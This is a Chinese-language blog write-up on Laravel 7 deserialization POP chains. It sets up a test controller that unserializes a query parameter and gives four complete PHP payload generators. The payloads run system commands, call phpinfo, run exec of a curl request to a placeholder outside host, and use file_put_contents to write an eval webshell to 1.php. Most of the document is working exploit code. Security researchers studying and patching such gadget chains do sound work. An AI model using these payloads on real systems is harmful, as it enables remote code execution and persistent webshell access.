laravel 7反序列化pop链挖掘
简单学习挖掘一下7版本的pop链子 前三条链子是网上出现过 但是经过我稍稍整合了一下 相当于是复现- -
第四条链为一条新的入口类的链 后面找__call方法跟前面大同小异
先在web.php增加一个路由
Route::get("/","\App\Http\Controllers\IndexController@index");
index控制器
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class IndexController extends Controller
{
public function index(Request $request)
{
echo "ma4ter<br/>";
unserialize($request->query("data"));
}
}
链1
入口类为 PendingBroadcast
调用任意类的dispatch方法
Dispatcher
类下的dispatch方法 继续跟进 dispatchToQueue
方法
回溯到上面 这里需要commandShouldBeQueue方法返回为真 queueResolver可控 跟进 commandShouldBeQueue
方法
需要满足为command类为 ShouldQueue
接口的一个实例
使用 QueuedCommand
类
构造payload
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Bus
{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver=$queueResolver;
}
}
}
namespace Illuminate\Foundation\Console
{
class QueuedCommand{
public $connection;
public function __construct($connection)
{
$this->connection=$connection;
}
}
}
namespace {
$a = new Illuminate\Bus\Dispatcher('system');
$b =new Illuminate\Foundation\Console\QueuedCommand('whoami');
$c = new Illuminate\Broadcasting\PendingBroadcast($a, $b);
echo urlencode(serialize($c));
}
这里直接可以执行命令了
但是还不可以写马进去
所以这里还可以控制queueResolver为一个类 然后connection为一个数组相应的键值为对应的方法名和参数 这样就会去调用这个类的方法
直接参考这篇文章找的eval函数https://blog.csdn.net/qq_38154820/article/details/114610513
链2
入口类仍然为 PendingBroadcast
然后寻找__call方法 当调用一个类不存在的方法时会调用call魔术方法
Validator
类
rule变量这里将传过来的method变量也就是dispatch分割了8位
刚好为空
$this->extensions
可控
跟进callExtension方法
这里就可以调用任意函数了
payload:
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Validation
{
class Validator
{
public $extensions = [];
public function __construct()
{
$this->extensions=[''=>'system'];
}
}
}
namespace {
$a=new Illuminate\Validation\Validator();
$b='whoami';
$c = new Illuminate\Broadcasting\PendingBroadcast($a, $b);
echo urlencode(serialize($c));
}
链3
入口类仍然为 PendingBroadcast
找到 Queuemanager
类下的call魔术方法
跟进connection方法
跟进resolve方法
跟进getConnetctor方法
这里可以调用任意函数,但是没参数
我们先回溯上面构造一下
name变量的值可控
config变量的值:
$driver的值为config变量中driver键对应的值 所以我们要控制config是一个数组
再构造connectors[$driver]为我们想要掉的函数就行了
payload:
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Queue
{
class QueueManager{
protected $app;
protected $connectors = [];
public function __construct()
{
$this->connectors=[
'ma4ter'=>'phpinfo'
];
$this->app = [
'config'=>[
'queue.default'=>'ma4ter',
'queue.connections.ma4ter'=>['driver'=>'ma4ter']
]
];
}
}
}
namespace {
$a=new Illuminate\Queue\QueueManager();
$c = new Illuminate\Broadcasting\PendingBroadcast($a,null);
echo urlencode(serialize($c));
}
再去找一个可以执行带参数的方法 Handler
类下的handle方法 这里传了三个参数 经查找资料发现exec可以传3个
当然这里file_put_contents也是可以的
payload:
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Whoops\Handler
{
abstract class Handler
{
private $run =null;
private $inspector = null;
private $exception = 'curl http://xxxxx:8000/1';
}
class CallbackHandler extends Handler{
protected $callable;
public function __construct($callable)
{
$this->callable = $callable;
}
}
}
namespace Illuminate\Queue
{
class QueueManager{
protected $app;
protected $connectors = [];
public function __construct()
{
$obj = new \Whoops\Handler\CallbackHandler('exec');
$this->connectors=[
'ma4ter'=>[$obj,'handle']
];
$this->app = [
'config'=>[
'queue.default'=>'ma4ter',
'queue.connections.ma4ter'=>['driver'=>'ma4ter']
]
];
}
}
}
namespace {
$a=new Illuminate\Queue\QueueManager();
$c = new Illuminate\Broadcasting\PendingBroadcast($a,null);
echo urlencode(serialize($c));
}
新链4
入口类为 PendingResourceRegistration
找__call InvokableComponentVariable
类
这里调任意方法了就可以
直接用上面的 Handler
类就可以了
payload:
<?php
namespace Illuminate\Routing
{
class PendingResourceRegistration
{
protected $registrar;
public function __construct($registrar)
{
$this->registrar = $registrar;
}
}
}
namespace Whoops\Handler
{
abstract class Handler
{
private $run =null;
private $inspector = '<?php @eval($_POST[1]); ?>';
private $exception = '1.php';
}
class CallbackHandler extends Handler{
protected $callable;
public function __construct($callable)
{
$this->callable = $callable;
}
}
}
namespace Illuminate\View
{
class InvokableComponentVariable
{
protected $callable;
public function __construct()
{
$obj = new \Whoops\Handler\CallbackHandler('file_put_contents');
$this->callable = [$obj,'handle'];
}
}
}
namespace {
$a=new Illuminate\View\InvokableComponentVariable();
$c = new Illuminate\Routing\PendingResourceRegistration($a,null);
echo urlencode(serialize($c));
}